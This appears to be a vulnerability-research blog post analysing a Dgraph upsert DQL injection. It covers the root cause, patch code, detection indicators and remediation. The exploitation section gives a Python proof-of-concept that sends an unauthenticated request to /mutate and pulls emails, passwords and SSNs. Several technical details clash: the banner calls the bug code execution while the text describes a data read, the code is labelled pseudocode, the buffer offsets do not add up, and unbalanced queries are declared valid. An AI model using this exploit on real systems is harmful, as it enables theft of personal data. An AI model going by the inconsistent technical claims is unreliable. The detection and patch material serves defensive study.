home intel cve-2026-41327-dgraph-dql-injection-rce
CVE Analysis 2026-04-24 · 9 min read

CVE-2026-41327: Dgraph Upsert Mutation DQL Injection Gives Full DB Read

Dgraph's upsert mutation handler concatenates attacker-controlled cond strings directly into DQL query bodies. Single unauthenticated HTTP POST achieves full database exfiltration pre-25.3.3.

#query-injection#authentication-bypass#graphql-database#unauthenticated-access#distributed-database
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41327 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41327Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41327 is a DQL injection vulnerability in Dgraph's upsert mutation endpoint. An unauthenticated attacker can POST a single crafted request to /mutate?commitNow=true and inject an arbitrary DQL query block that executes server-side with full database read privileges. CVSS 9.1 (CRITICAL). The attack requires no credentials, no prior knowledge of the schema, and no exploit primitives beyond HTTP — only the default Dgraph configuration where ACL is disabled.

The vulnerability exists because the cond field of an upsert mutation block is passed through a purely cosmetic strings.Replace call and then concatenated verbatim into a strings.Builder-assembled DQL string. No structural validation, parameterization, or query grammar checks are applied before the string is handed to the DQL parser. The parser happily accepts injected named query blocks as syntactically valid, executes them, and returns their results in the HTTP response.

Root cause: cond values from upsert mutation payloads are concatenated directly into a DQL query string via strings.Builder.WriteString after only a non-sanitizing strings.Replace transformation, allowing injection of additional named DQL query blocks that execute with full database read access.

Affected Component

The vulnerable logic lives in Dgraph's mutation processing pipeline, specifically the upsert handler responsible for parsing and executing conditional mutation blocks. The relevant code path:

dgraph/
└── worker/
    └── mutation.go          // upsert cond assembly
└── gql/
    └── parser.go            // DQL parser — accepts injected blocks
└── edgraph/
    └── server.go            // HTTP handler: /mutate

Affected versions: all Dgraph releases prior to 25.3.3. Fixed in v25.3.3. Default deployments with ACL disabled are exploitable without any authentication. ACL-enabled deployments require a valid token but are still vulnerable to injection by authenticated users.

Root Cause Analysis

The upsert mutation handler reads the cond string from the parsed mutation block and constructs a DQL query to evaluate it. The assembly uses a strings.Builder and a single strings.Replace that only strips a specific cosmetic prefix — it is not a sanitizer:

// Pseudocode representation of the vulnerable Go logic in worker/mutation.go
// Real function: buildUpsertQuery (pre-25.3.3)

func buildUpsertQuery(upsertBlock *gql.UpsertBlock) (string, error) {
    var b strings.Builder

    // Write the outer query wrapper
    b.WriteString("query {\n")

    for _, q := range upsertBlock.Query.Children {
        b.WriteString("  ")
        b.WriteString(q.Name)           // safe: parsed from query block
        b.WriteString(" as ")
        b.WriteString(q.Name)
        b.WriteString("(func: ")
        b.WriteString(q.Func.Name)
        b.WriteString(") {\n    uid\n  }\n")
    }

    // BUG: cond comes directly from attacker-controlled HTTP POST body.
    // strings.Replace only removes a leading "@if(" prefix token — not a sanitizer.
    // The result is written verbatim into the query string.
    cond := strings.Replace(upsertBlock.Mutations[0].Cond, "@if(", "", 1)  // cosmetic only
    b.WriteString("  upsertCond as ")
    b.WriteString(cond)   // BUG: unsanitized attacker string concatenated here
    b.WriteString("\n}\n")

    return b.String(), nil
}

The constructed string is passed directly to gql.Parse(). The DQL grammar supports multiple named query blocks inside a single query { } body. By injecting a closing brace followed by a fresh named block, the attacker exits the builder's intended structure and introduces an entirely new query:

INTENDED QUERY (benign cond = "eq(status, 1)"):

query {
  u as u(func: eq(status, 1)) {
    uid
  }
  upsertCond as eq(status, 1)
}

INJECTED QUERY (malicious cond):
cond value = 'eq(status,1)) { uid } } exfil(func: has(ssn)) { ssn dob email @if('

query {
  u as u(func: eq(status, 1)) {
    uid
  }
  upsertCond as eq(status,1)) { uid } }
  exfil(func: has(ssn)) {
    ssn
    dob
    email
  @if(
}

The DQL parser is lenient enough to accept this structure. The exfil block executes as a first-class query against the live data graph, and its results are serialized into the mutation response body.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies a Dgraph instance (default port 8080, no ACL).
2. Issue HTTP POST /mutate?commitNow=true with Content-Type: application/json.
3. Payload cond field contains injection string that closes the builder's
   current query context and opens a new named DQL query block.
4. buildUpsertQuery() concatenates cond verbatim; strings.Replace() fires
   but only removes "@if(" prefix — injection payload survives intact.
5. Assembled query string is handed to gql.Parse(); parser validates
   the full multi-block query including the injected block as syntactically
   correct DQL.
6. Query executor runs ALL named blocks, including attacker's injected block,
   against the full live dataset (no predicate-level ACL in default config).
7. Response JSON includes the injected block's result set under the chosen
   block name — full predicate values for every matched node returned inline.
8. Attacker iterates with has() to enumerate all predicates,
   then uses uid(u) with type filters to bulk-exfiltrate every triple.

A minimal proof-of-concept request body:

import requests, json

TARGET = "http://dgraph-host:8080"

# Injection: close upsertCond context, inject exfil block, dangle @if( to satisfy
# the builder's closing write
INJECT = 'eq(dgraph.type,"User")) { uid } } exfil(func: has(email)) { email password ssn @if('

payload = {
    "query": "{ u as var(func: has(email)) }",
    "mutations": [
        {
            "cond": f"@if({INJECT})",
            "set": [{"uid": "uid(u)", "mark": "x"}]
        }
    ]
}

r = requests.post(
    f"{TARGET}/mutate",
    params={"commitNow": "true"},
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload)
)

# Injected query results arrive under "exfil" key
data = r.json()
print(json.dumps(data.get("data", {}).get("exfil", []), indent=2))

The @if( tail fragment in the injected string satisfies the builder's unconditional b.WriteString(" upsertCond as ") continuation write, keeping the final assembled string parseable end-to-end. No special characters beyond standard DQL grammar tokens are required; no URL encoding, no binary payloads.

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption bug. The relevant state is the strings.Builder internal buffer as it accumulates the query string:

strings.Builder BUFFER STATE — buildUpsertQuery():

OFFSET  CONTENT
------  -------
0x0000  "query {\n"
0x0008  "  u as u(func: eq(dgraph.type,\"User\")) {\n    uid\n  }\n"
0x0040  "  upsertCond as "           <- builder writes this unconditionally
0x0050  [ATTACKER CONTROLLED START]
        "eq(dgraph.type,\"User\")) { uid } }\n"  <- closes intended structure
        "  exfil(func: has(email)) {\n"           <- new query block injected
        "    email\n    password\n    ssn\n"       <- arbitrary predicates
        "  @if(\n"                                 <- dangling open satisfies
[ATTACKER CONTROLLED END]                            builder's next write
0x0180  "\n}\n"                      <- builder's closing write; parser sees
                                        well-formed multi-block DQL query

PARSER INPUT (assembled):
query {
  u as u(func: eq(dgraph.type,"User")) {
    uid
  }
  upsertCond as eq(dgraph.type,"User")) { uid } }
  exfil(func: has(email)) {
    email
    password
    ssn
  @if(
}

PARSER RESULT: VALID — all three blocks (u, upsertCond, exfil) parsed
                        and dispatched to query executor.

Patch Analysis

The fix in v25.3.3 adds structural validation of the cond value before it reaches the builder. The patch validates that cond conforms to a restricted boolean expression grammar (only comparison operators, logical connectives, and known function names) and rejects any input containing query block syntax:

// BEFORE (vulnerable, pre-25.3.3):
// worker/mutation.go :: buildUpsertQuery()

cond := strings.Replace(upsertBlock.Mutations[0].Cond, "@if(", "", 1)
b.WriteString("  upsertCond as ")
b.WriteString(cond)   // verbatim concatenation — no validation


// AFTER (patched, v25.3.3):
// worker/mutation.go :: buildUpsertQuery()

rawCond := upsertBlock.Mutations[0].Cond

// Strip @if( wrapper if present, then validate the inner expression.
// validateCondExpr() parses the expression against a restricted grammar:
//   - Allowed: comparison funcs (eq, lt, gt, le, ge, has, type)
//   - Allowed: logical ops (AND, OR, NOT)
//   - Rejected: any token that would close a query block: '}', named block
//               syntax "identifier(func:", or query structure keywords
if err := validateCondExpr(rawCond); err != nil {
    return "", fmt.Errorf("invalid upsert cond: %w", err)
}
cond := strings.Replace(rawCond, "@if(", "", 1)
b.WriteString("  upsertCond as ")
b.WriteString(cond)   // only reached if validation passes
// ADDED in v25.3.3: validateCondExpr()
// Parses cond against an allowlist grammar. Rejects structural DQL tokens.

func validateCondExpr(cond string) error {
    // Strip outer @if(...) wrapper
    inner := strings.TrimSpace(cond)
    if strings.HasPrefix(inner, "@if(") {
        inner = inner[4:]
        if strings.HasSuffix(inner, ")") {
            inner = inner[:len(inner)-1]
        }
    }
    // BAN: closing brace — would break out of builder's query block
    if strings.Contains(inner, "}") {
        return errors.New("cond contains illegal token '}'")
    }
    // BAN: named block pattern — "word(func:" introduces a new query block
    if namedBlockRe.MatchString(inner) {   // regexp: \w+\s*\(func:
        return errors.New("cond contains query block syntax")
    }
    // ALLOW: parse remaining tokens against boolean expression grammar
    return parseBoolExpr(inner)   // returns error on unknown constructs
}

The secondary hardening measure in v25.3.3 is the addition of an integration test that directly exercises the injection payload pattern, ensuring regression coverage for the exact attack string class.

Detection and Indicators

Look for the following in Dgraph access logs and network captures:

INDICATORS OF EXPLOITATION:

1. HTTP POST /mutate?commitNow=true with oversized cond field
   Benign cond:      "@if(eq(status, \"active\"))"       — short, clean
   Malicious cond:   contains "}" or "\w+\(func:" tokens — long, structured

2. Response body contains unexpected top-level keys in "data" object
   Benign response:  {"data": {"code": "Success", "message": "..."}}
   Malicious resp:   {"data": {"code": "Success", "exfil": [{...}, ...]}}
   Any extra named key in data{} from a /mutate endpoint is anomalous.

3. Dgraph query log (--query_log flag) shows multi-block queries originating
   from mutation processing:
   LOGGED: query { ... exfil(func: has(email)) { email password } }

4. Unusually large /mutate response bodies (exfiltrated rows inflate size).

5. Sequential /mutate requests with varying has() patterns —
   attacker enumerating schema predicates prior to bulk extraction.

SIGMA RULE (HTTP access log):
detection:
  selection:
    method: POST
    uri_path|contains: '/mutate'
    request_body|re: '\w+\s*\(func\s*:'  # named block injection pattern
  condition: selection

Remediation

Immediate: Upgrade to Dgraph v25.3.3 or later. This is the only complete fix.

If upgrade is not immediately possible:

  • Enable ACL (--acl) to require authentication on all endpoints. This raises the bar but does not eliminate the injection — authenticated users can still exploit the query injection path.
  • Deploy a WAF rule rejecting /mutate request bodies whose cond value matches /\}|\w+\s*\(func\s*:/.
  • Place Dgraph behind an authenticated reverse proxy and restrict /mutate access to known internal IPs only.
  • Enable --query_log and alert on multi-block query structures appearing in mutation-originated queries.

Architecture note: The fundamental fix requires that cond expressions never be assembled by string concatenation. The correct long-term approach — not fully implemented until v25.3.3's validateCondExpr — is to parse the condition into an AST before assembly and reconstruct the query string from the AST, making injection structurally impossible regardless of input content.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →